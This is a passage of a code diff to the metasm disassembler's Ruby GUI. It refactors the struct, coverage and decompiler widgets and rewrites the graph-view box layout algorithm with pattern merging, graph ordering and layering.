@@ -90,19 +89,7 @@ class CStructWidget < DrawableWidget
         elsif cx < @view_x
         else
           t = t[(@view_x - cx + t.length)..-1] if cx-t.length < @view_x
-          if @hl_word
-            stmp = t
-            pre_x = 0
-            while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/
-              s1, s2 = $1, $2
-              pre_x += s1.length*@font_width
-              hl_w = s2.length*@font_width
-              draw_rectangle_color(:hl_word, x+pre_x, y, hl_w, @font_height)
-              pre_x += hl_w
-              stmp = stmp[s1.length+s2.length..-1]
-            end
-          end
-          draw_string_color(c, x, y, t)
+          draw_string_hl(c, x, y, t)
           x += t.length * @font_width
         end
       }
@@ -116,7 +103,7 @@ class CStructWidget < DrawableWidget
       cy = (@caret_y-@view_y)*@font_height
       draw_line_color(:caret, cx, cy, cx, cy+@font_height-1)
     end
-  
+
     @oldcaret_x, @oldcaret_y = @caret_x, @caret_y
   end
 
@@ -179,28 +166,31 @@ class CStructWidget < DrawableWidget
     when ?l
       liststructs
     when ?t
-      inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n|
-        lst = @dasm.c_parser.toplevel.struct.keys.grep(String)
-        if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase }
-          focus_addr(@curaddr, @dasm.c_parser.toplevel.struct[fn])
-        else
-          lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln|
-            s = @dasm.c_parser.toplevel.symbol[ln]
-            s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union)
-          }
-          if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase }
-            focus_addr(@curaddr, @dasm.c_parser.toplevel.symbol[fn].untypedef)
-          else
-            liststructs(n)
-          end
-        end
-      }
+      inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n| focus_struct_byname(n) }
     else return false
     end
     true
   end
 
-  def liststructs(partname=nil)
+  # display the struct or pop a list of matching struct names if ambiguous
+  def focus_struct_byname(n, addr=@curaddr)
+    lst = @dasm.c_parser.toplevel.struct.keys.grep(String)
+    if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase }
+      focus_addr(addr, @dasm.c_parser.toplevel.struct[fn])
+    else
+      lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln|
+        s = @dasm.c_parser.toplevel.symbol[ln]
+        s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union)
+      }
+      if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase }
+        focus_addr(addr, @dasm.c_parser.toplevel.symbol[fn].untypedef)
+      else
+        liststructs(n, addr)
+      end
+    end
+  end
+
+  def liststructs(partname=nil, addr=@curaddr)
     tl = @dasm.c_parser.toplevel
     list = [['name', 'size']]
     list += tl.struct.keys.grep(String).sort.map { |stn|
@@ -216,12 +206,12 @@ class CStructWidget < DrawableWidget
     }.compact
 
     if partname and list.length == 2
-      focus_addr(@curaddr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef)
+      focus_addr(addr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef)
       return
     end
 
     listwindow('structs', list) { |stn|
-      focus_addr(@curaddr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef)
+      focus_addr(addr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef)
     }
   end
 
@@ -240,7 +230,7 @@ class CStructWidget < DrawableWidget
   def update_caret
     if @caret_x < @view_x or @caret_x >= @view_x + @cwidth or @caret_y < @view_y or @caret_y >= @view_y + @cheight
       redraw
-    elsif update_hl_word(@line_text[@caret_y], @caret_x)
+    elsif update_hl_word(@line_text[@caret_y], @caret_x, :c)
       redraw
     else
       invalidate_caret(@oldcaret_x-@view_x, @oldcaret_y-@view_y)
@@ -254,9 +244,14 @@ class CStructWidget < DrawableWidget
   def focus_addr(addr, struct=@curstruct)
     return if @parent_widget and not addr = @parent_widget.normalize(addr)
     @curaddr = addr
-    @curstruct = struct
     @caret_x = @caret_y = 0
-    gui_update
+    if struct.kind_of? String
+      @curstruct = nil
+      focus_struct_byname(struct)
+    else
+      @curstruct = struct
+      gui_update
+    end
     true
   end
 
@@ -278,7 +273,7 @@ class CStructWidget < DrawableWidget
       @line_text_col << []
       render[indent * [@structdepth - maxdepth, 0].max, :text]
     }
-    
+
     if not obj
       @line_text_col = [[]]
       @line_dereference = []
@@ -308,7 +303,6 @@ class CStructWidget < DrawableWidget
     elsif struct.kind_of?(C::Struct)
       render["struct #{struct.name || '_'} st_#{Expression[@curaddr]} = ", :text] if not off
       fldoff = struct.fldoffset
-      fbo = struct.fldbitoffset || {}
     else
       render["union #{struct.name || '_'} un_#{Expression[@curaddr]} = ", :text] if not off
     end
@@ -363,7 +357,7 @@ class CStructWidget < DrawableWidget
     else
       @line_text_col = [[[:text, '/* no struct selected (list with "l") */']]]
     end
-    
+
     @line_text = @line_text_col.map { |l| l.map { |c, s| s }.join }
     update_caret
     redraw
diff --git a/lib/metasm/metasm/gui/dasm_coverage.rb b/lib/metasm/metasm/gui/dasm_coverage.rb
index c2a7640aac..0278198fcc 100644
--- a/lib/metasm/metasm/gui/dasm_coverage.rb
+++ b/lib/metasm/metasm/gui/dasm_coverage.rb
@@ -19,15 +19,15 @@ class CoverageWidget < DrawableWidget
     @section_x = []
     @slave = nil	# another dasmwidget whose curaddr is kept sync
 
-    @default_color_association = { :caret => :yellow, :caret_col => :darkyellow,
-      :background => :palegrey, :code => :red, :data => :blue }
+    @default_color_association = ColorTheme.merge :caret => :yellow, :caret_col => :darkyellow,
+      :background => :palegrey, :code => :red, :data => :blue
   end
 
   def click(x, y)
     x, y = x.to_i - 1, y.to_i
-    @sections.zip(@section_x).each { |(a, l, seq), (sx, sxe)|
-      if x >= sx and x < sxe+@pixel_w
-        @curaddr = a + (x-sx)/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height
+    @sections.zip(@section_x).each { |s, sx|
+      if x >= sx[0] and x < sx[1]+@pixel_w
+        @curaddr = s[0] + (x-sx[0])/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height
         @slave.focus_addr(@curaddr) if @slave rescue @slave=nil
         redraw
         break
@@ -125,13 +125,13 @@ class CoverageWidget < DrawableWidget
       x += @spacing*@pixel_w
     }
 
-    @sections.zip(@section_x).each { |(a, l, seq), (sx, sxe)|
-      next if @curaddr.kind_of? Integer and not a.kind_of? Integer
-      next if @curaddr.kind_of? Expression and not a.kind_of? Expression
-      co = @curaddr-a
-      if co >= 0 and co < l
+    @sections.zip(@section_x).each { |s, sx|
+      next if @curaddr.kind_of? Integer and not s[0].kind_of? Integer
+      next if @curaddr.kind_of? Expression and not s[0].kind_of? Expression
+      co = @curaddr-s[0]
+      if co >= 0 and co < s[1]
         draw_color :caret_col
-        x = sx + (co/@byte_per_col)*@pixel_w
+        x = sx[0] + (co/@byte_per_col)*@pixel_w
         draw_rect[-@spacing, -1, 1]
         draw_rect[@col_height, @col_height+@spacing, 1]
         draw_color :caret
diff --git a/lib/metasm/metasm/gui/dasm_decomp.rb b/lib/metasm/metasm/gui/dasm_decomp.rb
index da9b6d3e3d..14de7cbadf 100644
--- a/lib/metasm/metasm/gui/dasm_decomp.rb
+++ b/lib/metasm/metasm/gui/dasm_decomp.rb
@@ -19,9 +19,8 @@ class CdecompListingWidget < DrawableWidget
     @curaddr = nil
     @tabwidth = 8
 
-    @default_color_association = { :text => :black, :keyword => :blue, :caret => :black,
-        :background => :white, :hl_word => :palered, :localvar => :darkred,
-        :globalvar => :darkgreen, :intrinsic => :darkyellow }
+    @default_color_association = ColorTheme.merge :keyword => :blue, :localvar => :darkred,
+      :globalvar => :darkgreen, :intrinsic => :darkyellow
   end
 
   def curfunc
@@ -91,19 +90,7 @@ class CdecompListingWidget < DrawableWidget
     # must not include newline
     render = lambda { |str, color|
       # function ends when we write under the bottom of the listing
-      if @hl_word
-        stmp = str
-        pre_x = 0
-        while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/
-          s1, s2 = $1, $2
-          pre_x += s1.length*@font_width
-          hl_w = s2.length*@font_width
-          draw_rectangle_color(:hl_word, x+pre_x, y, hl_w, @font_height)
-          pre_x += hl_w
-          stmp = stmp[s1.length+s2.length..-1]
-        end
-      end
-      draw_string_color(color, x, y, str)
+      draw_string_hl(color, x, y, str)
       x += str.length * @font_width
     }
 
@@ -128,7 +115,7 @@ class CdecompListingWidget < DrawableWidget
       cy = (@caret_y-@view_y)*@font_height
       draw_line_color(:caret, cx, cy, cx, cy+@font_height-1)
     end
-  
+
     @oldcaret_x, @oldcaret_y = @caret_x, @caret_y
   end
 
@@ -184,7 +171,7 @@ class CdecompListingWidget < DrawableWidget
             f.decompdata[:stackoff_name][s.stackoff] = v if s.stackoff
           elsif @dasm.c_parser.toplevel.symbol[n]
             @dasm.rename_label(n, v)
-            @curaddr = v if @curaddr == n                   
+            @curaddr = v if @curaddr == n
           end
           gui_update
         }
@@ -264,13 +251,13 @@ class CdecompListingWidget < DrawableWidget
     invalidate_caret(@caret_x-@view_x, @caret_y-@view_y)
     @oldcaret_x, @oldcaret_y = @caret_x, @caret_y
 
-    redraw if update_hl_word(@line_text[@caret_y], @caret_x)
+    redraw if update_hl_word(@line_text[@caret_y], @caret_x, :c)
   end
 
   # focus on addr
   # returns true on success (address exists & decompiled)
   def focus_addr(addr)
-    if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr])
+    if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr].kind_of?(C::Union))
       @curaddr = addr
       @caret_x = @caret_y = 0
       gui_update
diff --git a/lib/metasm/metasm/gui/dasm_graph.rb b/lib/metasm/metasm/gui/dasm_graph.rb
index f5fcb3c4f9..30951be1fd 100644
--- a/lib/metasm/metasm/gui/dasm_graph.rb
+++ b/lib/metasm/metasm/gui/dasm_graph.rb
@@ -22,13 +22,7 @@ class Graph
     #def inspect ; puts caller ; "#{Expression[@id] rescue @id.inspect}" end
   end
 
-  # TODO
-  class MergedBox
-    attr_accessor :id, :text, :x, :y, :w, :h
-    attr_accessor :to, :from
-  end
-
-  attr_accessor :id, :box, :root_addrs, :view_x, :view_y, :keep_split
+  attr_accessor :id, :box, :box_id, :root_addrs, :view_x, :view_y, :keep_split
   def initialize(id)
     @id = id
     @root_addrs = []
@@ -39,29 +33,597 @@ class Graph
   # empty @box
   def clear
     @box = []
+    @box_id = {}
   end
 
   # link the two boxes (by id)
   def link_boxes(id1, id2)
-    raise "unknown index 1 #{id1}" if not b1 = @box.find { |b| b.id == id1 }
-    raise "unknown index 2 #{id2}" if not b2 = @box.find { |b| b.id == id2 }
+    raise "unknown index 1 #{id1}" if not b1 = @box_id[id1]
+    raise "unknown index 2 #{id2}" if not b2 = @box_id[id2]
     b1.to   |= [b2]
     b2.from |= [b1]
   end
 
   # creates a new box, ensures id is not already taken
   def new_box(id, content=nil)
-    raise "duplicate id #{id}" if @box.find { |b| b.id == id }
+    raise "duplicate id #{id}" if @box_id[id]
     b = Box.new(id, content)
     @box << b
+    @box_id[id] = b
     b
   end
 
+  # returns the [x1, y1, x2, y2] of the rectangle encompassing all boxes
+  def boundingbox
+    minx = @box.map { |b| b.x }.min.to_i
+    miny = @box.map { |b| b.y }.min.to_i
+    maxx = @box.map { |b| b.x + b.w }.max.to_i
+    maxy = @box.map { |b| b.y + b.h }.max.to_i
+    [minx, miny, maxx, maxy]
+  end
+
+  # a -> b -> c -> d (no other in/outs)
+  def pattern_layout_col(groups)
+    # find head
+    return if not head = groups.find { |g|
+      g.to.length == 1 and
+      g.to[0].from.length == 1 and
+      (g.from.length != 1 or g.from[0].to.length != 1)
+    }
+
+    # find full sequence
+    ar = [head]
+    while head.to.length == 1 and head.to[0].from.length == 1
+      head = head.to[0]
+      ar << head
+    end
+
+    # move boxes inside this group
+    maxw = ar.map { |g| g.w }.max
+    fullh = ar.inject(0) { |h, g| h + g.h }
+    cury = -fullh/2
+    ar.each { |g|
+      dy = cury - g.y
+      g.content.each { |b| b.y += dy }
+      cury += g.h
+    }
+
+    # create remplacement group
+    newg = Box.new(nil, ar.map { |g| g.content }.flatten)
+    newg.w = maxw
+    newg.h = fullh
+    newg.x = -newg.w/2
+    newg.y = -newg.h/2
+    newg.from = ar.first.from - ar
+    newg.to = ar.last.to - ar
+    # fix xrefs
+    newg.from.each { |g| g.to -= ar ; g.to << newg }
+    newg.to.each { |g| g.from -= ar ; g.from << newg }
+    # fix groups
+    groups[groups.index(head)] = newg
+    ar.each { |g| groups.delete g }
+
+    true
+  end
+
+  # if a group has no content close to its x/x+w borders, shrink it
+  def group_remove_hz_margin(g, maxw=16)
+    if g.content.empty?
+      g.x = -maxw/2 if g.x < -maxw/2
+      g.w = maxw if g.w > maxw
+      return
+    end
+
+    margin_left = g.content.map { |b| b.x }.min - g.x
+    margin_right = g.x+g.w - g.content.map { |b| b.x+b.w }.max
+    if margin_left + margin_right > maxw
+      g.w -= margin_left + margin_right - maxw
+      dx = (maxw/2 + margin_right - margin_left)/2
+      g.content.each { |b| b.x += dx }
+      g.x = -g.w/2
+    end
+  end
+
+  # a -> [b, c, d] -> e
+  def pattern_layout_line(groups)
+    # find head
+    ar = []
+    groups.each { |g|
+      if g.from.length == 1 and g.to.length <= 1 and g.from.first.to.length > 1
+        ar = g.from.first.to.find_all { |gg| gg.from == g.from and gg.to == g.to }
+      elsif g.from.empty? and g.to.length == 1 and g.to.first.from.length > 1
+        ar = g.to.first.from.find_all { |gg| gg.from == g.from and gg.to == g.to }
+      else ar = []
+      end
+      break if ar.length > 1
+    }
+    return if ar.length <= 1
+
+    ar.each { |g| group_remove_hz_margin(g) }
+
+    # move boxes inside this group
+    #ar = ar.sort_by { |g| -g.h }
+    maxh = ar.map { |g| g.h }.max
+    fullw = ar.inject(0) { |w, g| w + g.w }
+    curx = -fullw/2
+    ar.each { |g|
+      # if no to, put all boxes at bottom ; if no from, put them at top
+      case [g.from.length, g.to.length]
+      when [1, 0]; dy = (g.h - maxh)/2
+      when [0, 1]; dy = (maxh - g.h)/2
+      else dy = 0
+      end
+
+      dx = curx - g.x
+      g.content.each { |b| b.x += dx ; b.y += dy }
+      curx += g.w
+    }
+    # add a 'margin-top' proportionnal to the ar width
+    # this gap should be relative to the real boxes and not possible previous gaps when
+    # merging lines (eg long line + many if patterns -> dont duplicate gaps)
+    boxen = ar.map { |g| g.content }.flatten
+    realh = boxen.map { |g| g.y + g.h }.max - boxen.map { |g| g.y }.min
+    if maxh < realh + fullw/4
+      maxh = realh + fullw/4
+    end
+
+    # create remplacement group
+    newg = Box.new(nil, ar.map { |g| g.content }.flatten)
+    newg.w = fullw
+    newg.h = maxh
+    newg.x = -newg.w/2
+    newg.y = -newg.h/2
+    newg.from = ar.first.from
+    newg.to = ar.first.to
+    # fix xrefs
+    newg.from.each { |g| g.to -= ar ; g.to << newg }
+    newg.to.each { |g| g.from -= ar ; g.from << newg }
+    # fix groups
+    groups[groups.index(ar.first)] = newg
+    ar.each { |g| groups.delete g }
+
+    true
+  end
+
+  # a -> b -> c & a -> c
+  def pattern_layout_ifend(groups)
+    # find head
+    return if not head = groups.find { |g|
+      g.to.length == 2 and
+      ((g.to[0].from.length == 1 and g.to[0].to.length == 1 and g.to[0].to[0] == g.to[1]) or
+       (g.to[1].from.length == 1 and g.to[1].to.length == 1 and g.to[1].to[0] == g.to[0]))
+    }
+
+    if head.to[0].to.include?(head.to[1])
+      ten = head.to[0]
+    else
+      ten = head.to[1]
+    end
+
+    # stuff 'then' inside the 'if'
+    # move 'if' up, 'then' down
+    head.content.each { |g| g.y -= ten.h/2 }
+    ten.content.each { |g| g.y += head.h/2 }
+    head.h += ten.h
+    head.y -= ten.h/2
+
+    # widen 'if'
+    # this adds a phantom left side
+    # drop existing margins first
+    group_remove_hz_margin(ten)
+    dw = ten.w - head.w/2
+    if dw > 0
+      # need to widen head to fit ten
+      head.w += 2*dw
+      head.x -= dw
+    end
+
+    # merge
+    ten.content.each { |g| g.x += -ten.x }
+    head.content.concat ten.content
+
+    head.to.delete ten
+    head.to[0].from.delete ten
+
+    groups.delete ten
+
+    true
+
+  end
+
+  def pattern_layout_complex(groups)
+    order = order_graph(groups)
+    uniq = nil
+    if groups.sort_by { |g| order[g] }.find { |g|
+      next if g.to.length <= 1
+      # list all nodes reachable for every 'to'
+      reach = g.to.map { |t| list_reachable(t) }
+      # list all nodes reachable only from a single 'to'
+      uniq = []
+      reach.each_with_index { |r, i|
+        # take all nodes reachable from there ...
+        u = uniq[i] = r.dup
+        u.delete_if { |k, v| k.content.empty? }	# ignore previous layout_complex artifacts
+        reach.each_with_index { |rr, ii|
+          next if i == ii
+          # ... and delete nodes reachable from anywhere else
+          rr.each_key { |k| u.delete k }
+        }
+      }
+      uniq.delete_if { |u| u.length <= 1 }
+      !uniq.empty?
+    }
+      # now layout every uniq subgroup independently
+      uniq.each { |u|
+        subgroups = groups.find_all { |g| u[g] }
+
+        # isolate subgroup from external links
+        # change all external links into a single empty box
+        newtop = Box.new(nil, [])
+        newtop.x = -8 ; newtop.y = -9
+        newtop.w = 16 ; newtop.h = 18
+        newbot = Box.new(nil, [])
+        newbot.x = -8 ; newbot.y = -9
+        newbot.w = 16 ; newbot.h = 18
+        hadfrom = [] ; hadto = []
+        subgroups.each { |g|
+          g.to.dup.each { |t|
+            next if u[t]
+            newbot.from |= [g]
+            g.to.delete t
+            hadto << t
+            g.to |= [newbot]
+          }
+          g.from.dup.each { |f|
+            next if u[f]
+            newtop.to |= [g]
+            g.from.delete f
+            hadfrom << f
+            g.from |= [newtop]
+          }
+        }
+        subgroups << newtop << newbot
+
+        # subgroup layout
+        auto_arrange_step(subgroups) while subgroups.length > 1
+        newg = subgroups[0]
+
+        # patch 'groups'
+        idx = groups.index { |g| u[g] }
+        groups.delete_if { |g| u[g] }
+        groups[idx, 0] = [newg]
+
+        # restore external links & fix xrefs
+        hadfrom.uniq.each { |f|
+          f.to.delete_if { |t| u[t] }
+          f.to |= [newg]
+          newg.from |= [f]
+        }
+        hadto.uniq.each { |t|
+          t.from.delete_if { |f| u[f] }
+          t.from |= [newg]
+          newg.to |= [t]
+        }
+      }
+
+      true
+    end
+  end
+
+  # find the minimal set of nodes from which we can reach all others
+  # this is done *before* removing cycles in the graph
+  # returns the order (Hash group => group_order)
+  # roots have an order of 0
+  def order_graph(groups)
+    roots = groups.find_all { |g| g.from.empty? }
+    o = {}	# tentative order
+    todo = []
+
+    loop do
+      roots.each { |g|
+        o[g] ||= 0
+        todo |= g.to.find_all { |gg| not o[gg] }
+      }
+
+      # order nodes from the tentative roots
+      until todo.empty?
+        n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o)
+        todo.delete n
+        o[n] = n.from.map { |g| o[g] }.compact.max + 1
+        todo |= n.to.find_all { |g| not o[g] }
+      end
+      break if o.length >= groups.length
+
+      # pathological cases
+
+      if noroot = groups.find_all { |g| o[g] and g.from.find { |gg| not o[gg] } }.sort_by { |g| o[g] }.first
+        # we picked a root in the middle of the graph, walk up
+        todo |= noroot.from.find_all { |g| not o[g] }
+        until todo.empty?
+          n = todo.find { |g| g.to.all? { |gg| o[gg] } } ||
+              todo.sort_by { |g| g.to.map { |gg| o[gg] }.compact.min }.first
+          todo.delete n
+          o[n] = n.to.map { |g| o[g] }.compact.min - 1
+          todo |= n.from.find_all { |g| not o[g] }
+        end
+        # setup todo for next fwd iteration
+        todo |= groups.find_all { |g| not o[g] and g.from.find { |gg| o[gg] } }
+      else
+        # disjoint graph, start over from one other random node
+        roots << groups.find { |g| not o[g] }
+      end
+    end
+
+    if o.values.find { |rank| rank < 0 }
+      # did hit a pathological case, restart with found real roots
+      roots = groups.find_all { |g| not g.from.find { |gg| o[gg] < o[g] } }
+      o = {}
+      todo = []
+      roots.each { |g|
+        o[g] ||= 0
+        todo |= g.to.find_all { |gg| not o[gg] }
+      }
+      until todo.empty?
+        n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o)
+        todo.delete n
+        o[n] = n.from.map { |g| o[g] }.compact.max + 1
+        todo |= n.to.find_all { |g| not o[g] }
+      end
+
+      # there's something screwy around here !
+      raise "moo" if o.length < groups.length
+    end
+
+    o
+  end
+
+  def order_solve_cycle(todo, o)
+    # 'todo' has no trivial candidate
+    # pick one node from todo which no other todo can reach
+    # exclude pathing through already ordered nodes
+    todo.find { |t1|
+      not todo.find { |t2| t1 != t2 and can_find_path(t2, t1, o.dup) }
+    } ||
+    # some cycle heads are mutually recursive
+    todo.sort_by { |t1|
+      # find the one who can reach the most others
+      [todo.find_all { |t2| t1 != t2 and can_find_path(t1, t2, o.dup) }.length,
+      # and with the highest rank
+       t1.from.map { |gg| o[gg] }.compact.max]
+    }.last
+  end
+
+  # checks if there is a path from src to dst avoiding stuff in 'done'
+  def can_find_path(src, dst, done={})
+    todo = [src]
+    while g = todo.pop
+      next if done[g]
+      return true if g == dst
+      done[g] = true
+      todo.concat g.to
+    end
+    false
+  end
+
+  # returns a hash with true for every node reachable from src (included)
+  def list_reachable(src, done={})
+    todo = [src]
+    while g = todo.pop
+      next if done[g]
+      done[g] = true
+      todo.concat g.to
+    end
+    done
+  end
+
+  # revert looping edges in groups
+  def make_tree(groups, order)
+    # now we have the roots and node orders
+    #  revert cycling edges - o(chld) < o(parent)
+    order.each_key { |g|
+      g.to.dup.each { |gg|
+        if order[gg] < order[g]
+          # cycling edge, revert
+          g.to.delete gg
+          gg.from.delete g
+          g.from |= [gg]
+          gg.to |= [g]
+        end
+      }
+    }
+  end
+
+  # group groups in layers of same order
+  # create dummy groups along long edges so that no path exists between non-contiguous layers
+  def create_layers(groups, order)
+    newemptybox = lambda {
+      b = Box.new(nil, [])
+      b.x = -8
+      b.y = -9
+      b.w = 16
+      b.h = 18
+      groups << b
+      b
+    }
+
+    newboxo = {}
+
+    order.each_key { |g|
+      og = order[g] || newboxo[g]
+      g.to.dup.each { |gg|
+        ogg = order[gg] || newboxo[gg]
+        if ogg > og+1
+          # long edge, expand
+          sq = [g]
+          (ogg - 1 - og).times { |i| sq << newemptybox[] }
+          sq << gg
+          gg.from.delete g
+          g.to.delete gg
+          newboxo[g] ||= order[g]
+          sq.inject { |g1, g2|
+            g1.to |= [g2]
+            g2.from |= [g1]
+            newboxo[g2] = newboxo[g1]+1
+            g2
+          }
+          raise if newboxo[gg] != ogg
+        end
+      }
+    }
+
+    order.update newboxo
+
+    # layers[o] = [list of nodes of order o]
+    layers = []
+    groups.each { |g|
+      (layers[order[g]] ||= []) << g
+    }
+
+    layers
+  end
+
+  # take all groups, order them by order, layout as layers
+  # always return a single group holding everything
+  def layout_layers(groups)
+    order = order_graph(groups)
+    # already a tree
+    layers = create_layers(groups, order)
+    return if layers.empty?
+
+    layers.each { |l| l.each { |g| group_remove_hz_margin(g) } }
+
+    # widest layer width
+    maxlw = layers.map { |l| l.inject(0) { |ll, g| ll + g.w } }.max
+
+    # center the 1st layer boxes on a segment that large
+    x0 = -maxlw/2.0
+    curlw = layers[0].inject(0) { |ll, g| ll + g.w }
+    dx0 = (maxlw - curlw) / (2.0*layers[0].length)
+    layers[0].each { |g|
+      x0 += dx0
+      g.x = x0
+      x0 += g.w + dx0
+    }
+
+    # at this point, the goal is to reorder the most populated layer the best we can, and
+    # move other layers' boxes accordingly
+    layers[1..-1].each { |l|
+      # for each subsequent layer, reorder boxes based on their ties with the previous layer
+      i = 0
+      l.replace l.sort_by { |g|
+        # we know g.from is not empty (g would be in @layer[0])
+        medfrom = g.from.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.from.length
+        # on ties, keep original order
+        [medfrom, i]
+      }
+      # now they are reordered, update their #x accordingly
+      # evenly distribute them in the layer
+      x0 = -maxlw/2.0
+      curlw = l.inject(0) { |ll, g| ll + g.w }
+      dx0 = (maxlw - curlw) / (2.0*l.length)
+      l.each { |g|
+        x0 += dx0
+        g.x = x0
+        x0 += g.w + dx0
+      }
+    }
+
+    layers[0...-1].reverse_each { |l|
+      # for each subsequent layer, reorder boxes based on their ties with the previous layer
+      i = 0
+      l.replace l.sort_by { |g|
+        if g.to.empty?
+          # TODO floating end
+          medfrom = 0
+        else
+          medfrom = g.to.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.to.length
+        end
+        # on ties, keep original order
+        [medfrom, i]
+      }
+      # now they are reordered, update their #x accordingly
+      x0 = -maxlw/2.0
+      curlw = l.inject(0) { |ll, g| ll + g.w }
+      dx0 = (maxlw - curlw) / (2.0*l.length)
+      l.each { |g|
+        x0 += dx0
+        g.x = x0
+        x0 += g.w + dx0
+      }
+    }
+
+    # now the boxes are (hopefully) sorted correctly
+    # position them according to their ties with prev/next layer
+    # from the maxw layer (positionning = packed), propagate adjacent layers positions
+    maxidx = (0..layers.length).find { |i| l = layers[i] ; l.inject(0) { |ll, g| ll + g.w } == maxlw }
+    # list of layer indexes to walk
+    ilist = [maxidx]
+    ilist.concat((maxidx+1...layers.length).to_a) if maxidx < layers.length-1
+    ilist.concat((0..maxidx-1).to_a.reverse) if maxidx > 0
+    layerbox = []
+    ilist.each { |i|
+      l = layers[i]
+      curlw = l.inject(0) { |ll, g| ll + g.w }
+      # left/rightmost acceptable position for the current box w/o overflowing on the right side
+      minx = -maxlw/2.0
+      maxx = minx + (maxlw-curlw)
+
+      # replace whole layer with a box
+      newg = layerbox[i] = Box.new(nil, l.map { |g| g.content }.flatten)
+      newg.w = maxlw
+      newg.h = l.map { |g| g.h }.max
+      newg.x = -newg.w/2
+      newg.y = -newg.h/2
+      # dont care for from/to, we'll return a single box anyway
+
+      l.each { |g|
+        ref = (i < maxidx) ? g.to : g.from
+        # TODO elastic positionning around the ideal position
+        # (g and g+1 may have the same med, then center both on it)
+        if i == maxidx
+          nx = minx
+        elsif ref.empty?
+          nx = (minx+maxx)/2
+        else
+          # center on the outline of rx
+          # may want to center on rx center's center ?
+          rx = ref.sort_by { |gg| gg.x }
+          med = (rx.first.x + rx.last.x + rx.last.w - g.w) / 2.0
+          nx = [[med, minx].max, maxx].min
+        end
+        dx = nx+g.w/2
+        g.content.each { |b| b.x += dx }
+        minx = nx+g.w
+        maxx += g.w
+      }
+    }
+
+    newg = Box.new(nil, layerbox.map { |g| g.content }.flatten)
+    newg.w = layerbox.map { |g| g.w }.max
+    newg.h = layerbox.inject(0) { |h, g| h + g.h }
+    newg.x = -newg.w/2
+    newg.y = -newg.h/2
+
+    # vertical: just center each box on its layer
+    y0 = newg.y
+    layerbox.each { |lg|
+      lg.content.each { |b|
+        b.y += y0-lg.y
+      }
+      y0 += lg.h
+    }
+
+    groups.replace [newg]
+  end
+
+
   # place boxes in a good-looking layout
-  def auto_arrange_init(list=@box)
-    # groups is an array of box groups
+  # create artificial 'group' container for boxes, that will later be merged in geometrical patterns
+  def auto_arrange_init
+    # 'group' is an array of boxes
     # all groups are centered on the origin
-    @groups = list.map { |b|
+    h = {}	# { box => group }
+    @groups = @box.map { |b|
       b.x = -b.w/2
       b.y = -b.h/2
       g = Box.new(nil, [b])
@@ -69,6 +631,7 @@ class Graph
       g.y = b.y - 9
       g.w = b.w + 16
       g.h = b.h + 18
+      h[b] = g
       g
     }
 
@@ -77,394 +640,101 @@ class Graph
     # no self references
     # a box is in one and only one group in 'groups'
     @groups.each { |g|
-      g.to   = g.content.first.to.map   { |t| next if not t = list.index(t) ; @groups[t] }.compact - [g]
-      g.from = g.content.first.from.map { |f| next if not f = list.index(f) ; @groups[f] }.compact - [g]
+      g.to   = g.content.first.to.map   { |t| h[t] if t != g }.compact
+      g.from = g.content.first.from.map { |f| h[f] if f != g }.compact
     }
 
-    # walk from a box, fork at each multiple to, chop links to a previous box (loops etc)
-    @madetree = false
+    # order boxes
+    order = order_graph(@groups)
+
+    # remove cycles from the graph
+    make_tree(@groups, order)
   end
 
-  # gives a text representation of the current graph state
-  def dump_layout(groups=@groups)
-    groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" }
+  def auto_arrange_step(groups=@groups)
+    pattern_layout_col(groups) or pattern_layout_line(groups) or
+      pattern_layout_ifend(groups) or pattern_layout_complex(groups) or
+      layout_layers(groups)
   end
 
-  def auto_arrange_step
-    # TODO fix
-    #  0->[1, 2] 1->[3] 2->[3, 4] 3->[] 4->[1]
-    #  push 0 jz l3  push 1 jz l4  push 2  l3: push 3  l4: hlt
-    # and more generally all non-looping graphs where this algo creates backward links
-
-    groups = @groups
-    return if groups.length <= 1
-
-    maketree = lambda { |roots|
-      next if @madetree
-      @madetree = true
-
-      maxdepth = {}	# max arc count to reach this box from graph start (excl loop)
-
-      trim = lambda { |g, from|
-        # unlink g from (part of) its from
-        from.each { |gg| gg.to.delete g }
-        g.from -= from
-      }
-
-      walk = lambda { |g|
-        # score
-        parentdepth = g.from.map { |gg| maxdepth[gg] }
-        if parentdepth.empty?
-          # root
-          maxdepth[g] = 0
-        elsif parentdepth.include? nil
-          # not farthest parent found / loop
-          next
-        # elsif maxdepth[g] => ?
-        else
-          maxdepth[g] = parentdepth.max + 1
-        end
-        g.to.each { |gg| walk[gg] }
-      }
-
-      roots.each { |g| trim[g, g.from] unless g.from.empty? }
-      roots.each { |g| walk[g] }
-      
-      # handle loops now (unmarked nodes)
-      while unmarked = groups - maxdepth.keys and not unmarked.empty?
-        if g = unmarked.find { |g_| g_.from.find { |gg| maxdepth[gg] } }
-          # loop head
-          trim[g, g.from.find_all { |gg| not maxdepth[gg] }]	# XXX not quite sure for this
-          walk[g]
-        else
